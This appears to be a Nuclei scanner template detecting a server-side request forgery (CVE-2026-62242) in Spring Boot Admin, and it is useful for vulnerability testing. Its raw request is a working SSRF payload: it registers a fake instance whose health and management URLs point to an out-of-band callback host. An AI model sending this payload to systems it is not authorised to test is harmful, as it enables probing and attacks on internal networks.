id: CVE-2026-62242

info:
  name: "Spring Boot Admin - Server-Side Request Forgery via Instance Registration"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Spring Boot Admin Server before 4.1.2 allows unauthenticated attackers to register
    monitored instances with attacker-controlled healthUrl and managementUrl values through
    POST /instances without validating them against private IP ranges or metadata endpoints.
    The server then issues HTTP requests to these URLs while polling instance status,
    enabling server-side request forgery against internal addresses.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-62242&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=spring-boot-admin&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
    cvss-score: 6.9
    cve-id: CVE-2026-62242
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,spring-boot-admin,spring,ssrf,oast

http:
  - raw:
      - |
        POST /instances HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"vedas","healthUrl":"http://{{interactsh-url}}/health","managementUrl":"http://{{interactsh-url}}/actuator","serviceUrl":"http://{{interactsh-url}}/"}
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"